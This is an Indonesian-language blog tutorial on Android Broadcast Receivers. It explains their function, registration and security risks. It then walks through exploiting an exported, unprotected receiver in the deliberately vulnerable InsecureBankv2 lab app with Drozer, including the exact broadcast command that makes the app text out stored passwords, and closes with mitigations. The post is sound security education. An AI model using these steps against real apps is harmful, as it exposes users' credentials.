Security and Exploitation of Broadcast Receivers in Android

Avatar photo

Broadcast Receiver adalah komponen dalam sistem operasi Android yang memungkinkan aplikasi untuk merespons pengumuman yang disiarkan oleh aplikasi lain atau oleh sistem itu sendiri. Mereka digunakan untuk mendengarkan dan bereaksi terhadap peristiwa atau intent yang bersifat sistem-wide, seperti ketika perangkat sedang mengisi daya, ketika layar dihidupkan atau dimatikan, atau ketika foto diambil.

Berikut penjelasan lebih rinci tentang Broadcast Receiver:

  1. Functionality :
    • Receiving Broadcasts : Mereka mendengarkan intent yang disiarkan dan bertindak berdasarkan itu. Misalnya, sebuah aplikasi mungkin ingin tahu ketika perangkat selesai booting sehingga bisa memulai layanan tertentu.
    • System Events : Siaran sistem yang umum termasuk peristiwa seperti perubahan level baterai, perubahan konektivitas (seperti beralih antara Wi-Fi dan data seluler), dan pesan teks yang masuk.
    • Custom Broadcasts : Aplikasi juga bisa mendefinisikan dan mengirim siaran kustom mereka sendiri untuk berkomunikasi dengan aplikasi lain atau dalam aplikasi yang sama.
  2. Lifecycle :
    • Dynamic Registration : Broadcast Receiver dapat didaftarkan secara dinamis dalam kode menggunakan metode registerReceiver(). Ini memungkinkan receiver untuk aktif hanya ketika aplikasi membutuhkannya.
    • Static Registration : Mereka juga bisa dideklarasikan secara statis dalam file AndroidManifest.xml, yang berarti mereka selalu mendengarkan siaran yang ditentukan bahkan jika aplikasi tidak berjalan.
  3. Usage Examples :
    • Alarm Management : Sebuah aplikasi mungkin mengatur alarm yang memicu pada waktu tertentu, dan Broadcast Receiver akan menangani peristiwa alarm tersebut.
    • Network Monitoring : Aplikasi dapat menggunakan Broadcast Receiver untuk memantau perubahan dalam konektivitas jaringan.
    • Battery Level Changes : Aplikasi dapat merespons perubahan level baterai perangkat, seperti mengurangi aktivitas latar belakang ketika baterai rendah.
  4. Security Considerations :
    • Permissions : Beberapa siaran memerlukan izin khusus. Misalnya, untuk menerima siaran bahwa pesan SMS baru telah tiba, sebuah aplikasi harus mendeklarasikan izin yang sesuai dalam manifestonya.
    • Intent Filters : Filter intent digunakan untuk menentukan siaran mana yang harus didengarkan oleh receiver. Definisi filter intent yang cermat sangat penting untuk memastikan bahwa receiver tidak menangani siaran yang tidak diinginkan, yang dapat menyebabkan kerentanan keamanan.
  5. Implementation :
    • Creating a Broadcast Receiver : Kamu perlu meng-extend kelas BroadcastReceiver dan mengoverride metode onReceive(). Metode ini dipanggil ketika Broadcast Receiver menerima intent.
    • Registering a Receiver : Pendaftaran dapat dilakukan baik dalam file manifest untuk registrasi statis atau dalam kode untuk registrasi dinamis.

Berikut adalah contoh sederhana Broadcast Receiver di Android :

// Langkah 1: Membuat kelas Broadcast Receiver
public class MyBroadcastReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// Kode yang dieksekusi saat siaran diterima
String action = intent.getAction();
if (action.equals(Intent.ACTION_BATTERY_LOW)) {
// Menangani peristiwa baterai rendah
}
}
}

// Langkah 2: Mendaftarkan receiver di AndroidManifest.xml (untuk registrasi statis)
<receiver android:name=".MyBroadcastReceiver">
<intent-filter>
<action android:name="android.intent.action.BATTERY_LOW" />
</intent-filter>
</receiver>

// Atau, daftar receiver secara dinamis di aktivitas atau layanan
IntentFilter filter = new IntentFilter(Intent.ACTION_BATTERY_LOW);
MyBroadcastReceiver receiver = new MyBroadcastReceiver();
registerReceiver(receiver, filter);

Singkatnya, Broadcast Receiver adalah fitur yang kuat di Android yang memungkinkan aplikasi merespons berbagai peristiwa sistem-wide, meningkatkan interaksi antara aplikasi, pengguna, dan sistem.

Penting untuk memahami bagaimana Broadcast Receiver bisa menjadi titik rentan yang dapat dieksploitasi oleh pihak yang tidak bertanggung jawab untuk melakukan serangan atau mendapatkan akses tidak sah ke data dan fungsi dalam sebuah aplikasi.

Broadcast Receiver and Security Risks

Broadcast Receiver biasanya hanya merupakan gerbang ke komponen lain yang melakukan pekerjaan kecil. Misalnya, broadcast receiver dapat membangun sebuah JobService untuk menjalankan pekerjaan berdasarkan suatu peristiwa dengan JobScheduler. Broadcast receiver diimplementasikan sebagai subkelas dari BroadcastReceiver, dan setiap siaran dikirimkan sebagai “intent objek.” Untuk lebih jelasnya, cek dokumentasi resmi tentang BroadcastReceiver.

Exploitation

Untuk eksploitasi ini, saya akan menggunakan InsecureBankv2 dan Drozer.

Konfigurasi Server AndroLab

git clone https://github.com/dineshshetty/InsecureBankv2.git
cd InsecureBankv2/AndroLabServer
pip install -r requirements.txt

Menjalankan Server

python3 app.py

Setelah server AndroLab berhasil dijalankan, kita dapat melanjutkan dengan menginstal aplikasi InsecureBankv2 pada perangkat Android dan menggunakan Drozer untuk menguji dan mengeksploitasi broadcast receiver yang tidak aman.

Arahkan aplikasi ke alamat IP dan port tempat server AndroLab berjalan. Dalam contoh ini, alamat IP saya adalah 172.17.21.35  dan port 8888 untuk PC saya

Pengaturan preferensi jaringan akan berhasil dikonfigurasi setelah kita mengklik tombol submit. Untuk menguji apakah aplikasi terhubung ke server, kita dapat mencoba masuk dengan kredensial yang salah dan benar. Ketika kita mencoba masuk dengan kredensial yang benar, output berikut akan dihasilkan, menunjukkan bahwa aplikasi dapat berkomunikasi dengan server AndroLab

Menggunakan Drozer untuk Eksploitasi

Menginstall Drozer

Menghubungkan Drozer ke Perangkat

adb forward tcp:31415 tcp:31415
drozer console connect
run app.broadcast.info -a com.android.insecurebankv2 -i
Kita dapat melihat bahwa nama penerimanya adalah “MyBroadCastReceiver” dan bahwa ia telah diekspor tanpa izin khusus (null permissions). Komponen ini memiliki filter intent yang diatur dengan aksi broadcast yang didaftarkan oleh penerima (yaitu, “the broadcast”). Sangat penting untuk mengetahui apa yang dilakukan oleh broadcast receiver ini sebelum kita dapat menyerangnya dengan memeriksa kode sumbernya. Kode yang dieksekusi ketika sebuah broadcast diterima terdapat dalam file “MyBroadcastReceiver.java.”
Untuk melihat source codenya, kita bisa menggunakan Jadx-GUI.
Di sini, kita dapat melihat bahwa intent yang digunakan untuk memicu broadcast receiver berisi dua parameter yang mengambil data, yaitu “phonenumber” dan “newpass”.
Kredensial dari file “mySharedPreferences” kemudian diambil, dikodekan/didekripsi, dan digabungkan menjadi satu string yang akan dikirim sebagai pesan teks melalui kelas “smsManager”.
Mengirim Broadcast Khusus untuk Eksploitasi
Dengan informasi yang telah dikumpulkan, kita dapat menggunakan Drozer untuk memulai broadcast receiver. Berikut adalah perintah untuk memanggil broadcast receiver, “theBroadcast,” dan meneruskan dua parameter string yang diperlukan agar penerima dapat ter-trigger serta menjalankan exploitnya.
run app.broadcast.send --action theBroadcast --extra string phonenumber 987654321 --extra string newpass Tegal123

Pada device, sekarang kita dapat melihat bahwa aplikasi telah mengirimkan pesan SMS yang mencakup password lama serta password baru yang telah kita atur.

Mitigasi

Setting the “android:exported” attribute’s value to false

Untuk melindungi receiver, kita harus menetapkan nilai atribut “android:exported” menjadi false dalam file AndroidManifest.xml-nya.

Custom permissions

Dengan menetapkan custom permission untuk setiap receiver, kita juga dapat menerapkan limit permission. Hal ini berguna jika pengembang ingin membatasi akses komponen aplikasinya hanya kepada aplikasi dengan izin.

 

Referensi :

Total
0
Shares
Leave a Reply

Your email address will not be published. Required fields are marked *

Previous Post
Exposing Android WebView Security Risks

Exposing Android WebView Security Risks

Next Post

Android Deep Link Exploitation

Related Posts